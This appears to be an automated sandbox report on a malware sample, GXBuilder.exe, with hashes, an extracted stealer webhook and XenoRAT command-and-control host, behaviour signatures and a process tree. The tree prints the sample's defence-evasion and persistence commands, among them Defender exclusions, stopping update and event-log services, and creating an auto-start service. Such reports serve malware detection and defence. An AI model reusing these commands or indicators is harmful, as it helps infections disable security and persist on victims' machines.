Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
04-07-2024 17:12
Static task
static1
Behavioral task
behavioral1
Sample
GXBuilder.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
GXBuilder.exe
Resource
win10v2004-20240508-en
General
-
Target
GXBuilder.exe
-
Size
12.9MB
-
MD5
de6416915830c63685b6771684689d36
-
SHA1
f3516b1816295056c870e3c15a52aafbf4e9aab3
-
SHA256
965e26ab119bb1fe78e0f2e9f3a4b85de6b308100faa6c12dd6aa60ee52f42ef
-
SHA512
7efb6ba401dad084f2e7aa0af834171724168f2bd28da2d28fd3c1083b6286b262f352fe6dac703eacb5624f8b810918293d563353dafd85ac96532da61f25a7
-
SSDEEP
393216:oNOnxeqv5yEgPDflLNVga2D3o5Doo7Mm:0OnxD56DtLzGD3ohoo7Mm
Malware Config
Extracted
growtopia
https://discord.com/api/webhooks/1199763266872803338/8vedcXoMcyExhe1xhBm5f8ncmafWmOB3pkulE0l8g9Pel0t3ziyr2V51cLTVEjYsE4Rj
Extracted
xenorat
jctestwindows.airdns.org
Xeno_rat_nd8913d
-
delay
5000
-
install_path
temp
-
port
45010
-
startup_name
WindowsErrorHandler
Signatures
-
Processes:
powershell.exepowershell.exepowershell.exepid process 1904 powershell.exe 5684 powershell.exe 3052 powershell.exe -
Creates new service(s) 2 TTPs
-
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
GXBuilder.exeWinErrorMgr.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation GXBuilder.exe Key value queried \REGISTRY\USER\S-1-5-21-4124900551-4068476067-3491212533-1000\Control Panel\International\Geo\Nation WinErrorMgr.exe -
Executes dropped EXE 8 IoCs
Processes:
Ilkdt.exeWinHostMgr.exeWinErrorMgr.exeSahyui1337.exeKeyGeneratorTOP.exeWinErrorMgr.exeKeyGeneratorTOP.exebauwrdgwodhv.exepid process 4772 Ilkdt.exe 208 WinHostMgr.exe 3364 WinErrorMgr.exe 2600 Sahyui1337.exe 1276 KeyGeneratorTOP.exe 3892 WinErrorMgr.exe 3664 KeyGeneratorTOP.exe 1920 bauwrdgwodhv.exe -
Loads dropped DLL 4 IoCs
Processes:
KeyGeneratorTOP.exepid process 3664 KeyGeneratorTOP.exe 3664 KeyGeneratorTOP.exe 3664 KeyGeneratorTOP.exe 3664 KeyGeneratorTOP.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
-
Power Settings 1 TTPs 8 IoCs
powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.
Processes:
powercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepid process 5152 powercfg.exe 3256 powercfg.exe 3392 powercfg.exe 5508 powercfg.exe 4772 powercfg.exe 2004 powercfg.exe 3912 powercfg.exe 5236 powercfg.exe -
Drops file in System32 directory 4 IoCs
Processes:
WinHostMgr.exepowershell.exebauwrdgwodhv.exedescription ioc process File opened for modification C:\Windows\system32\MRT.exe WinHostMgr.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive powershell.exe File created C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log powershell.exe File opened for modification C:\Windows\system32\MRT.exe bauwrdgwodhv.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
bauwrdgwodhv.exedescription pid process target process PID 1920 set thread context of 5544 1920 bauwrdgwodhv.exe conhost.exe PID 1920 set thread context of 5180 1920 bauwrdgwodhv.exe explorer.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 5200 sc.exe 3464 sc.exe 1844 sc.exe 2304 sc.exe 4352 sc.exe 2036 sc.exe 4676 sc.exe 2300 sc.exe 6096 sc.exe 4476 sc.exe 2324 sc.exe 5540 sc.exe 436 sc.exe 5056 sc.exe -
Detects Pyinstaller 1 IoCs
Processes:
resource yara_rule C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe pyinstaller -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
msedge.exedescription ioc process Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer msedge.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName msedge.exe -
Modifies data under HKEY_USERS 50 IoCs
Processes:
powershell.exeexplorer.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "0" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\ROOT explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ProxyBypass = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\IntranetName = "1" powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates explorer.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs explorer.exe -
Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
Sahyui1337.exepowershell.exemsedge.exemsedge.exeidentity_helper.exeWinHostMgr.exepowershell.exebauwrdgwodhv.exepowershell.exeexplorer.exepid process 2600 Sahyui1337.exe 2600 Sahyui1337.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 4952 msedge.exe 4952 msedge.exe 5432 msedge.exe 5432 msedge.exe 3572 identity_helper.exe 3572 identity_helper.exe 208 WinHostMgr.exe 5684 powershell.exe 5684 powershell.exe 5684 powershell.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 208 WinHostMgr.exe 1920 bauwrdgwodhv.exe 3052 powershell.exe 3052 powershell.exe 3052 powershell.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 1920 bauwrdgwodhv.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe 5180 explorer.exe -
Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 8 IoCs
Processes:
msedge.exepid process 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe -
Suspicious use of AdjustPrivilegeToken 22 IoCs
Processes:
Sahyui1337.exeIlkdt.exepowershell.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exeexplorer.exepowercfg.exedescription pid process Token: SeDebugPrivilege 2600 Sahyui1337.exe Token: SeDebugPrivilege 4772 Ilkdt.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeDebugPrivilege 5684 powershell.exe Token: SeShutdownPrivilege 3392 powercfg.exe Token: SeShutdownPrivilege 3256 powercfg.exe Token: SeCreatePagefilePrivilege 3392 powercfg.exe Token: SeCreatePagefilePrivilege 3256 powercfg.exe Token: SeShutdownPrivilege 5152 powercfg.exe Token: SeCreatePagefilePrivilege 5152 powercfg.exe Token: SeShutdownPrivilege 5236 powercfg.exe Token: SeCreatePagefilePrivilege 5236 powercfg.exe Token: SeDebugPrivilege 3052 powershell.exe Token: SeShutdownPrivilege 5508 powercfg.exe Token: SeCreatePagefilePrivilege 5508 powercfg.exe Token: SeShutdownPrivilege 2004 powercfg.exe Token: SeCreatePagefilePrivilege 2004 powercfg.exe Token: SeShutdownPrivilege 4772 powercfg.exe Token: SeCreatePagefilePrivilege 4772 powercfg.exe Token: SeLockMemoryPrivilege 5180 explorer.exe Token: SeShutdownPrivilege 3912 powercfg.exe Token: SeCreatePagefilePrivilege 3912 powercfg.exe -
Suspicious use of FindShellTrayWindow 25 IoCs
Processes:
msedge.exepid process 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe -
Suspicious use of SendNotifyMessage 24 IoCs
Processes:
msedge.exepid process 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe 5432 msedge.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
GXBuilder.exeWinErrorMgr.exeKeyGeneratorTOP.exeKeyGeneratorTOP.exemsedge.exedescription pid process target process PID 4564 wrote to memory of 1904 4564 GXBuilder.exe powershell.exe PID 4564 wrote to memory of 1904 4564 GXBuilder.exe powershell.exe PID 4564 wrote to memory of 1904 4564 GXBuilder.exe powershell.exe PID 4564 wrote to memory of 4772 4564 GXBuilder.exe Ilkdt.exe PID 4564 wrote to memory of 4772 4564 GXBuilder.exe Ilkdt.exe PID 4564 wrote to memory of 4772 4564 GXBuilder.exe Ilkdt.exe PID 4564 wrote to memory of 208 4564 GXBuilder.exe WinHostMgr.exe PID 4564 wrote to memory of 208 4564 GXBuilder.exe WinHostMgr.exe PID 4564 wrote to memory of 3364 4564 GXBuilder.exe WinErrorMgr.exe PID 4564 wrote to memory of 3364 4564 GXBuilder.exe WinErrorMgr.exe PID 4564 wrote to memory of 3364 4564 GXBuilder.exe WinErrorMgr.exe PID 4564 wrote to memory of 2600 4564 GXBuilder.exe Sahyui1337.exe PID 4564 wrote to memory of 2600 4564 GXBuilder.exe Sahyui1337.exe PID 4564 wrote to memory of 1276 4564 GXBuilder.exe KeyGeneratorTOP.exe PID 4564 wrote to memory of 1276 4564 GXBuilder.exe KeyGeneratorTOP.exe PID 3364 wrote to memory of 3892 3364 WinErrorMgr.exe WinErrorMgr.exe PID 3364 wrote to memory of 3892 3364 WinErrorMgr.exe WinErrorMgr.exe PID 3364 wrote to memory of 3892 3364 WinErrorMgr.exe WinErrorMgr.exe PID 1276 wrote to memory of 3664 1276 KeyGeneratorTOP.exe KeyGeneratorTOP.exe PID 1276 wrote to memory of 3664 1276 KeyGeneratorTOP.exe KeyGeneratorTOP.exe PID 3664 wrote to memory of 5432 3664 KeyGeneratorTOP.exe msedge.exe PID 3664 wrote to memory of 5432 3664 KeyGeneratorTOP.exe msedge.exe PID 5432 wrote to memory of 1980 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 1980 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe PID 5432 wrote to memory of 4424 5432 msedge.exe msedge.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\GXBuilder.exe"C:\Users\Admin\AppData\Local\Temp\GXBuilder.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4564 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHkAeAB4ACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGcAeQB1ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHYAeAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAHkAcQBsACMAPgA="2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1904 -
C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"C:\Users\Admin\AppData\Local\Temp\Ilkdt.exe"2⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:4772 -
C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"C:\Users\Admin\AppData\Local\Temp\WinHostMgr.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:208 -
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5684 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart3⤵PID:6112
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart4⤵PID:5960
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc3⤵
- Launches sc.exe
PID:4476 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc3⤵
- Launches sc.exe
PID:4352 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv3⤵
- Launches sc.exe
PID:2036 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits3⤵
- Launches sc.exe
PID:5200 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc3⤵
- Launches sc.exe
PID:2324 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5236 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:5152 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3392 -
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 03⤵
- Power Settings
- Suspicious use of AdjustPrivilegeToken
PID:3256 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "GMDTJRUT"3⤵
- Launches sc.exe
PID:5540 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "GMDTJRUT" binpath= "C:\ProgramData\vcnwldzucnvl\bauwrdgwodhv.exe" start= "auto"3⤵
- Launches sc.exe
PID:2300 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog3⤵
- Launches sc.exe
PID:3464 -
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "GMDTJRUT"3⤵
- Launches sc.exe
PID:436 -
C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"C:\Users\Admin\AppData\Local\Temp\WinErrorMgr.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3364 -
C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"C:\Users\Admin\AppData\Local\Temp\XenoManager\WinErrorMgr.exe"3⤵
- Executes dropped EXE
PID:3892 -
C:\Windows\SysWOW64\schtasks.exe"schtasks.exe" /Create /TN "WindowsErrorHandler" /XML "C:\Users\Admin\AppData\Local\Temp\tmpEC15.tmp" /F4⤵
- Scheduled Task/Job: Scheduled Task
PID:3476 -
C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"C:\Users\Admin\AppData\Local\Temp\Sahyui1337.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2600 -
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"2⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1276 -
C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"C:\Users\Admin\AppData\Local\Temp\KeyGeneratorTOP.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:3664 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://onepiecered.co/s?mH4q4⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:5432 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xf8,0xfc,0x100,0xd4,0x104,0x7ffa94b746f8,0x7ffa94b74708,0x7ffa94b747185⤵PID:1980
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2128 /prefetch:25⤵PID:4424
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2180 /prefetch:35⤵
- Suspicious behavior: EnumeratesProcesses
PID:4952 -
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2944 /prefetch:85⤵PID:3320
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3356 /prefetch:15⤵PID:5712
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3372 /prefetch:15⤵PID:5692
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2116,14088176608778442554,7382778314450337644,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4160 /prefetch:15⤵PID:1452
-
